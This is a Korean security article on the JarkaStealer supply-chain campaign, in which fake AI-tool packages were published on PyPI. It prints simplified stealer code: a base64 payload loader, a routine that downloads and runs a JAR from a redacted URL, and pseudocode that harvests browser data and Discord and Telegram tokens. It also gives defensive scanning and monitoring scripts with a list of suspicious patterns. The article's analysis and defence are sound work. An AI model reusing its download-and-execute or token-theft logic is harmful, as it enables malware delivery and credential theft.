최근 몇 달 동안 AI 개발 도구로 가장한 PyPI 패키지를 통해 Python 개발자를 표적으로 삼은 정교한 공급망 공격이 급증했습니다. 이러한 공격을 분석하고 개발 환경을 보호하는 방법을 알아봅시다.
JarkaStealer 악성 코드를 배포하는 두 가지 주목할만한 패키지가 발견되었습니다.
두 패키지 모두 PyPI에서 최종적으로 제거되기 전까지 수천 건의 다운로드를 기록했습니다.
일반적인 악성 패키지 구조는 다음과 같습니다.
# setup.py from setuptools import setup setup( name="gptplus", version="1.0.0", description="Enhanced GPT-4 Turbo API Integration", packages=["gptplus"], install_requires=[ "requests>=2.25.1", "cryptography>=3.4.7" ] ) # Inside main package file import base64 import os import subprocess def initialize(): encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD" decoded = base64.b64decode(encoded_payload) # Malicious execution follows
공격 순서는 다음과 같습니다.
# Simplified representation of the malware deployment process def deploy_malware(): # Check if Java is installed if not is_java_installed(): download_jre() # Download malicious JAR jar_url = "https://github.com/[REDACTED]/JavaUpdater.jar" download_file(jar_url, "JavaUpdater.jar") # Execute with system privileges subprocess.run(["java", "-jar", "JavaUpdater.jar"])
JarkaStealer의 데이터 수집 방법:
# Pseudocode representing JarkaStealer's operation class JarkaStealer: def collect_browser_data(self): paths = { 'chrome': os.path.join(os.getenv('LOCALAPPDATA'), 'Google/Chrome/User Data/Default'), 'firefox': os.path.join(os.getenv('APPDATA'), 'Mozilla/Firefox/Profiles') } # Extract cookies, history, saved passwords def collect_system_info(self): info = { 'hostname': os.getenv('COMPUTERNAME'), 'username': os.getenv('USERNAME'), 'ip': requests.get('https://api.ipify.org').text } return info def steal_tokens(self): token_paths = { 'discord': os.path.join(os.getenv('APPDATA'), 'discord'), 'telegram': os.path.join(os.getenv('APPDATA'), 'Telegram Desktop') } # Extract and exfiltrate tokens
설치하기 전에 패키지를 확인하는 데 사용할 수 있는 도구는 다음과 같습니다.
import requests import json from datetime import datetime import subprocess def analyze_package(package_name): """ Comprehensive package analysis tool """ def check_pypi_info(): url = f"https://pypi.org/pypi/{package_name}/json" response = requests.get(url) if response.status_code == 200: data = response.json() return { "author": data["info"]["author"], "maintainer": data["info"]["maintainer"], "home_page": data["info"]["home_page"], "project_urls": data["info"]["project_urls"], "release_date": datetime.fromisoformat( data["releases"][data["info"]["version"]][0]["upload_time_iso_8601"] ) } return None def scan_dependencies(): result = subprocess.run( ["pip-audit", package_name], capture_output=True, text=True ) return result.stdout info = check_pypi_info() if info: print(f"Package Analysis for {package_name}:") print(f"Author: {info['author']}") print(f"Maintainer: {info['maintainer']}") print(f"Homepage: {info['home_page']}") print(f"Release Date: {info['release_date']}") # Red flags check if (datetime.now() - info['release_date']).days < 30: print("⚠️ Warning: Recently published package") if not info['home_page']: print("⚠️ Warning: No homepage provided") # Scan dependencies print("\nDependency Scan Results:") print(scan_dependencies()) else: print(f"Package {package_name} not found on PyPI")
의심스러운 활동을 감지하려면 다음 모니터링 스크립트를 구현하세요.
import psutil import os import logging from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler class SuspiciousActivityMonitor(FileSystemEventHandler): def __init__(self): self.logger = logging.getLogger('SecurityMonitor') self.suspicious_patterns = [ 'JavaUpdater', '.jar', 'base64', 'telegram', 'discord' ] def on_created(self, event): if not event.is_directory: self._check_file(event.src_path) def _check_file(self, filepath): filename = os.path.basename(filepath) # Check for suspicious patterns for pattern in self.suspicious_patterns: if pattern.lower() in filename.lower(): self.logger.warning( f"Suspicious file created: {filepath}" ) # Check for base64 encoded content try: with open(filepath, 'r') as f: content = f.read() if 'base64' in content: self.logger.warning( f"Possible base64 encoded payload in: {filepath}" ) except: pass def start_monitoring(): logging.basicConfig(level=logging.INFO) event_handler = SuspiciousActivityMonitor() observer = Observer() observer.schedule(event_handler, path=os.getcwd(), recursive=True) observer.start() return observer
# Create isolated environments for each project python -m venv .venv source .venv/bin/activate # Unix .venv\Scripts\activate # Windows # Lock dependencies pip freeze > requirements.txt
# Example GitHub Actions workflow name: Security Scan on: [push, pull_request] jobs: security: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Run security scan run: | pip install safety bandit safety check bandit -r .
AI를 주제로 한 PyPI 공격의 증가는 공급망 위협의 정교한 진화를 나타냅니다. 강력한 검증 프로세스를 구현하고 세심한 모니터링 시스템을 유지함으로써 개발 팀은 이러한 위험에 대한 노출을 크게 줄일 수 있습니다.
기억하세요: AI 패키지를 통합할 때는 항상 소스를 확인하고, 코드를 스캔하고, 포괄적인 보안 모니터링을 유지하세요. 예방 비용은 항상 보안 침해 복구 비용보다 낮습니다.
참고: 이 기사는 실제 보안 사고를 바탕으로 작성되었습니다. 오용 방지를 위해 일부 코드 예시를 수정했습니다.
위 내용은 AI 애호가를 표적으로 하는 PyPI 공격 탐지 및 완화: JarkaStealer 캠페인 심층 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!